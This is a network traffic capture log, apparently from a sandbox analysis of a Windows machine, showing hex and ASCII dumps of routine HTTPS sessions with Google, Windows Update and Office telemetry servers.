2024-11-25 15:21:22 UTC	1119	IN	HTTP/1.1 200 OK Version: 698674578 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 25 Nov 2024 15:21:22 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 15:21:22 UTC	271	IN	Data Raw: 32 30 63 32 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 20c2)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-25 15:21:22 UTC	1390	IN	Data Raw: 75 30 30 33 64 5c 22 67 62 5f 50 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 6b 64 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 Data Ascii: u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabind
2024-11-25 15:21:22 UTC	1390	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 Data Ascii: role\u003d\"presentation\"\u003e\u003c\/span\u003e\u003c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdi
2024-11-25 15:21:22 UTC	1390	IN	Data Raw: 68 3f 73 6f 75 72 63 65 5c 75 30 30 33 64 6e 74 70 5c 22 20 74 61 72 67 65 74 5c 75 30 30 33 64 5c 22 5f 74 6f 70 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 Data Ascii: h?source\u003dntp\" target\u003d\"_top\" role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42
2024-11-25 15:21:22 UTC	1390	IN	Data Raw: 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 Data Ascii: ,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0
2024-11-25 15:21:22 UTC	1390	IN	Data Raw: 74 72 6f 6c 2d 6c 61 62 65 6c 30 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 30 30 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f Data Ascii: trol-label0","left_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700300,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_no
2024-11-25 15:21:22 UTC	1173	IN	Data Raw: 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 49 64 3b 5f 2e 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 Data Ascii: fier: Apache-2.0\n*/\nvar Id;_.Gd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase
2024-11-25 15:21:22 UTC	455	IN	Data Raw: 31 63 30 0d 0a 6c 69 63 79 28 5c 22 6f 67 62 2d 71 74 6d 23 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 62 7d 29 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 54 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 54 64 5c 75 30 30 33 64 53 64 28 29 29 3b 72 65 74 75 72 6e 20 54 64 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 Data Ascii: 1c0licy(\"ogb-qtm#html\",{createHTML:b,createScript:b,createScriptURL:b})}catch(b){}return a};_.Ud\u003dfunction(){Td\u003d\u003d\u003dvoid 0\u0026\u0026(Td\u003dSd());return Td};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScri
2024-11-25 15:21:22 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 Data Ascii: 8000a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnu
2024-11-25 15:21:22 UTC	1390	IN	Data Raw: 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d Data Ascii: null));return a\|\|null};\n_.me\u003dfunction(a,b){_.Ab(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:le.hasOwnProperty(d)?a.setAttribute(le[d],c):_.ge(d,\"aria-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49713	142.250.181.68	443	4836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:21 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 15:21:22 UTC	933	IN	HTTP/1.1 200 OK Version: 698674578 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 25 Nov 2024 15:21:22 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 15:21:22 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-25 15:21:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49715	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:23 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=25ACFbnVffSv6Ou&MD=+cM3Bzhf HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-25 15:21:24 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: e0a27407-569f-4c87-94ac-d677139a261f MS-RequestId: a5cbed93-593a-4677-8c99-e44b1f819530 MS-CV: n8JDZRECAU2y4v2z.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 25 Nov 2024 15:21:23 GMT Connection: close Content-Length: 24490
2024-11-25 15:21:24 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-25 15:21:24 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:24 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:24 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:24 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 23 Nov 2024 12:15:37 GMT ETag: "0x8DD0BB889D4282C" x-ms-request-id: c3062018-b01e-003e-79df-3d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152124Z-178bfbc474brk967hC1NYCfu6000000007h0000000002m5b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:24 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-25 15:21:24 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-25 15:21:24 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-25 15:21:24 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> 